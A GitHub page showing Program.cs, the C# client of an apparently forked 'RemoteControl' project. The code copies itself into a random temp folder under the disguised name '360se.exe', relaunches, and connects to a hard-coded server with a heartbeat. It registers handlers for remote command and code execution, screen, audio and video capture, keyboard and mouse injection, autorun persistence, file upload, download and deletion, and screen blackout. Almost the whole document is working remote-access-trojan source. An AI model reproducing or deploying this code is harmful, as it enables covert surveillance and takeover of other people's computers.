forked from Trevor3000/RemoteControl
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
307 lines (290 loc) · 13.7 KB
/
Program.cs
File metadata and controls
307 lines (290 loc) · 13.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.Threading;
using RemoteControl.Protocals;
using System.Drawing;
using System.Windows.Forms;
using System.IO;
using System.Diagnostics;
using System.Media;
using System.Drawing.Imaging;
using Microsoft.VisualBasic.Devices;
using RemoteControl.Protocals.Request;
using RemoteControl.Protocals.Plugin;
using RemoteControl.Protocals.Utilities;
using System.Net;
using RemoteControl.Protocals.Response;
using Microsoft.Win32;
using System.Runtime.InteropServices;
using RemoteControl.Client.Handlers;
using RemoteControl.Protocals.Codec;
namespace RemoteControl.Client
{
class Program
{
private static Socket oServer;
private static SocketSession oServerSession;
private static ClientParameters clientParameters;
private static bool isTestMode = true;
private static bool isClosing = false;
private static Thread heartbeatThread = null;
private static Dictionary<ePacketType, IRequestHandler> handlers = new Dictionary<ePacketType, IRequestHandler>();
const string MutexName = "RemoteControl.Client";
static void Main(string[] args)
{
if (args.Length == 1 && args[0].StartsWith("/delay:"))
{
string str = args[0].Substring("/delay:".Length);
int delay = Convert.ToInt32(str);
Thread.Sleep(delay);
args = new string[]{};
}
ReadParameters();
if (args.Length == 0)
{
// 进行安装操作
string sourceFilePath = System.Reflection.Assembly.GetEntryAssembly().Location;
var destinationFileDir = Environment.GetEnvironmentVariable("temp") + "\\" + Guid.NewGuid().ToString();
if (!System.IO.Directory.Exists(destinationFileDir))
{
System.IO.Directory.CreateDirectory(destinationFileDir);
}
string serviceName = "360se.exe";
if (!string.IsNullOrWhiteSpace(clientParameters.ServiceName))
{
serviceName = clientParameters.ServiceName;
}
var destinationFilePath = destinationFileDir + "\\" + serviceName;
System.IO.File.Copy(sourceFilePath, destinationFilePath, true);
var t = ProcessUtil.Run(destinationFilePath, "/r", true, false);
t.Join();
return;
}
else if (args.Length == 1)
{
if (args[0] == "/r")
{
// 进行运行操作
if (CommonUtil.IsMultiRun(MutexName))
return;
InitHandlers();
StartConnect();
heartbeatThread = new Thread(() => StartHeartbeat()) {IsBackground = true};
heartbeatThread.Start();
StartMonitor();
}
}
}
static void InitHandlers()
{
handlers.Add(ePacketType.PACKET_VIEW_REGISTRY_KEY_REQUEST, new RequestViewRegistryKeyHandler());
handlers.Add(ePacketType.PACKET_OPE_REGISTRY_VALUE_NAME_REQUEST, new RequestOpeRegistryValueNameHandler());
RequestCaptureAudioHandler captureAudioHandler = new RequestCaptureAudioHandler();
handlers.Add(ePacketType.PACKET_START_CAPTURE_AUDIO_REQUEST, captureAudioHandler);
handlers.Add(ePacketType.PACKET_STOP_CAPTURE_AUDIO_REQUEST, captureAudioHandler);
RequestGetProcessesHandler getProcessesHandler = new RequestGetProcessesHandler();
handlers.Add(ePacketType.PACKET_GET_PROCESSES_REQUEST, getProcessesHandler);
handlers.Add(ePacketType.PACKET_KILL_PROCESS_REQUEST, getProcessesHandler);
handlers.Add(ePacketType.PACKET_AUTORUN_REQUEST, new RequestAutoRunHandler());
handlers.Add(ePacketType.PACKET_GET_DRIVES_REQUEST, new RequestGetDrivesHandler());
handlers.Add(ePacketType.PACKET_GET_SUBFILES_OR_DIRS_REQUEST, new RequestGetSubFilesOrDirsHandler());
RequestOpeFileOrDirHandler opeFileOrDirHandler = new RequestOpeFileOrDirHandler();
handlers.Add(ePacketType.PACKET_CREATE_FILE_OR_DIR_REQUEST, opeFileOrDirHandler);
handlers.Add(ePacketType.PACKET_DELETE_FILE_OR_DIR_REQUEST, opeFileOrDirHandler);
handlers.Add(ePacketType.PACKET_COPY_FILE_OR_DIR_REQUEST, opeFileOrDirHandler);
handlers.Add(ePacketType.PACKET_MOVE_FILE_OR_DIR_REQUEST, opeFileOrDirHandler);
handlers.Add(ePacketType.PACKET_RENAME_FILE_REQUEST, opeFileOrDirHandler);
RequestPowerHandler powerHandler = new RequestPowerHandler();
handlers.Add(ePacketType.PACKET_SHUTDOWN_REQUEST, powerHandler);
handlers.Add(ePacketType.PACKET_REBOOT_REQUEST, powerHandler);
handlers.Add(ePacketType.PACKET_SLEEP_REQUEST, powerHandler);
handlers.Add(ePacketType.PACKET_HIBERNATE_REQUEST, powerHandler);
handlers.Add(ePacketType.PACKET_LOCK_REQUEST, powerHandler);
handlers.Add(ePacketType.PACKET_OPEN_URL_REQUEST, new RequestOpenUrlHandler());
handlers.Add(ePacketType.PACKET_COMMAND_REQUEST, new RequestCommandHandler());
RequestCaptureScreenHandler captureScreenHandler = new RequestCaptureScreenHandler();
handlers.Add(ePacketType.PACKET_START_CAPTURE_SCREEN_REQUEST, captureScreenHandler);
handlers.Add(ePacketType.PACKET_STOP_CAPTURE_SCREEN_REQUEST, captureScreenHandler);
RequestDownloadHandler downloadHandler = new RequestDownloadHandler();
handlers.Add(ePacketType.PACKET_START_DOWNLOAD_REQUEST, downloadHandler);
handlers.Add(ePacketType.PACKET_STOP_DOWNLOAD_REQUEST, downloadHandler);
RequestLockMouseHandler lockMouseHandler = new RequestLockMouseHandler();
handlers.Add(ePacketType.PACKET_LOCK_MOUSE_REQUEST, lockMouseHandler);
handlers.Add(ePacketType.PACKET_UNLOCK_MOUSE_REQUEST, lockMouseHandler);
RequestBlackScreenHandler blackScreenHandler = new RequestBlackScreenHandler();
handlers.Add(ePacketType.PAKCET_BLACK_SCREEN_REQUEST, blackScreenHandler);
handlers.Add(ePacketType.PAKCET_UN_BLACK_SCREEN_REQUEST, blackScreenHandler);
handlers.Add(ePacketType.PACKET_MESSAGEBOX_REQUEST, new RequestMsgBoxHandler());
RequestOpeCDHandler opeCDHandler = new RequestOpeCDHandler();
handlers.Add(ePacketType.PACKET_OPEN_CD_REQUEST, opeCDHandler);
handlers.Add(ePacketType.PACKET_CLOSE_CD_REQUEST, opeCDHandler);
RequestPlayMusicHandler playMusicHandler = new RequestPlayMusicHandler();
handlers.Add(ePacketType.PACKET_PLAY_MUSIC_REQUEST, playMusicHandler);
handlers.Add(ePacketType.PACKET_STOP_PLAY_MUSIC_REQUEST, playMusicHandler);
handlers.Add(ePacketType.PACKET_DOWNLOAD_WEBFILE_REQUEST, new RequestDownloadWebFileHandler());
handlers.Add(ePacketType.PACKET_MOUSE_EVENT_REQUEST, new RequestMouseEventHandler());
handlers.Add(ePacketType.PACKET_KEYBOARD_EVENT_REQUEST, new RequestKeyboardEventHandler());
handlers.Add(ePacketType.PACKET_OPEN_FILE_REQUEST, new RequestOpenFileHandler());
RequestCaptureVideoHandler capVideoHandler = new RequestCaptureVideoHandler();
handlers.Add(ePacketType.PACKET_START_CAPTURE_VIDEO_REQUEST, capVideoHandler);
handlers.Add(ePacketType.PACKET_STOP_CAPTURE_VIDEO_REQUEST, capVideoHandler);
RequestUploadHandler uploadHandler = new RequestUploadHandler();
handlers.Add(ePacketType.PACKET_START_UPLOAD_HEADER_REQUEST, uploadHandler);
handlers.Add(ePacketType.PACKET_START_UPLOAD_RESPONSE, uploadHandler);
handlers.Add(ePacketType.PACKET_STOP_UPLOAD_REQUEST, uploadHandler);
RequestExecCodeHandler execCodeHandler = new RequestExecCodeHandler();
execCodeHandler.OnFireQuit = OnFireQuit;
handlers.Add(ePacketType.PACKET_TRANSPORT_EXEC_CODE_REQUEST, execCodeHandler);
handlers.Add(ePacketType.PACKET_RUN_EXEC_CODE_REQUEST, execCodeHandler);
handlers.Add(ePacketType.PACKET_QUIT_APP_REQUEST, new RequestQuitAppHandler() { OnFireQuit = OnFireQuit });
handlers.Add(ePacketType.PACKET_RESTART_APP_REQUEST, new RequestRestartAppHandler() { OnFireQuit = OnFireQuit });
}
static void ReadParameters()
{
if (isTestMode)
{
clientParameters.SetServerIP("192.168.0.106");
clientParameters.ServerPort = 10086;
clientParameters.OnlineAvatar = "";
clientParameters.ServiceName = "";
}
else
{
string filePath = System.Reflection.Assembly.GetExecutingAssembly().Location;
clientParameters = ClientParametersManager.ReadParameters(filePath);
}
Console.WriteLine("参数信息:");
Console.WriteLine("IP:" + clientParameters.GetServerIP());
Console.WriteLine("PORT:" + clientParameters.ServerPort);
}
static void StartConnect()
{
while (true)
{
try
{
DoOutput("正在连接服务器...");
oServer = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
oServer.Connect(clientParameters.GetIPEndPoint());
DoOutput("服务器连接成功!");
oServerSession = new SocketSession(oServer.RemoteEndPoint.ToString(), oServer);
StartRecvData(oServerSession);
break;
}
catch (Exception ex)
{
Console.WriteLine("连接服务器异常," + ex.Message);
}
Thread.Sleep(3000);
}
}
static void StartRecvData(SocketSession session)
{
// 获取主机名,并告诉服务器
ResponseGetHostName resp = new ResponseGetHostName();
resp.HostName = Dns.GetHostName();
resp.AppPath = Application.ExecutablePath;
resp.OnlineAvatar = clientParameters.OnlineAvatar;
session.Send(ePacketType.PACKET_GET_HOST_NAME_RESPONSE, resp);
new Thread(() =>
{
byte[] buffer = new byte[1024];
int recvSize = -1;
List<byte> data = new List<byte>();
while (true)
{
try
{
recvSize = session.SocketObj.Receive(buffer);
if (recvSize < 0)
continue;
for (int i = 0; i < recvSize; i++)
{
data.Add(buffer[i]);
}
while (data.Count >= 4)
{
int packetLength = BitConverter.ToInt32(data.ToArray(), 0);
if (data.Count >= packetLength)
{
DoRecvBytes(session, data.SplitBytes(0, packetLength));
data.RemoveRange(0, packetLength);
}
else
{
break;
}
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
break;
}
}
}) { IsBackground = true }.Start();
}
static void DoRecvBytes(SocketSession session, byte[] packet)
{
ePacketType packetType;
object obj;
CodecFactory.Instance.DecodeObject(packet, out packetType, out obj);
Console.WriteLine(packetType.ToString());
if (handlers.ContainsKey(packetType))
{
handlers[packetType].Handle(session, packetType, obj);
}
}
static void StartHeartbeat()
{
while (true)
{
if (isClosing)
{
break;
}
try
{
if (oServer != null)
{
byte[] packet = CodecFactory.Instance.EncodeOject(ePacketType.PACKET_HEART_BEAR, null);
oServer.Send(packet);
}
}
catch (Exception ex)
{
Console.WriteLine("心跳发送异常," + ex.Message);
StartConnect();
}
Thread.Sleep(3000);
}
}
static void StartMonitor()
{
while (true)
{
Thread.Sleep(1000);
}
}
static void DoOutput(string sMsg)
{
Console.WriteLine("{0} {1}", DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"), sMsg);
}
static void OnFireQuit(object sender, EventArgs e)
{
isClosing = true;
if (heartbeatThread != null)
{
heartbeatThread.Join();
}
if (oServerSession != null)
{
oServerSession.Send(ePacketType.PACKET_CLIENT_CLOSE_RESPONSE, null);
}
Environment.Exit(0);
}
}
}